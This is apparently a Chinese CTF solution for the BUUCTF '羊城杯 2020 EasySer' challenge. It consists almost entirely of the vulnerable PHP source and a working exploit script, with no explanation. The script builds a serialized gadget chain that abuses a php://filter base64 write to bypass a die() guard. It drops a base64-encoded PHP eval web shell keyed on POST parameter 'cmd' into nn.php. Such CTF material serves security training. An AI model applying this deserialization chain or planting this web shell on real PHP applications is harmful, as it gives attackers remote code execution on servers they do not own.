BUUCTF-[羊城杯 2020]EasySer-解题步骤详解

<?phperror_reporting(0);if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {    highlight_file(__FILE__);} $flag='{Trump_:"fake_news!"}';
class GWHT{    public $hero;    public function __construct(){        $this->hero = new Yasuo;    }    public function __toString(){        if (isset($this->hero)){            return $this->hero->hasaki();        }else{            return "You don't look very happy";        }    }}class Yongen{ //flag.php    public $file;    public $text;    public function __construct($file='',$text='') {        $this -> file = $file;        $this -> text = $text;            }    public function hasaki(){        $d   = '<?php die("nononon");?>';        $a= $d. $this->text;         @file_put_contents($this-> file,$a);    }}class Yasuo{    public function hasaki(){        return "I'm the best happy windy man";    }}

<?php
class GWHT{    public $hero;}
class Yongen{ //flag.php    public $file;    public $text;}
$a = new GWHT();$a->hero = new Yongen();$a->hero->file = "php://filter/write=string.strip_tags|convert.base64-decode/resource=nn.php";$a->hero->text = "PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7ID8+";echo urlencode(serialize($a));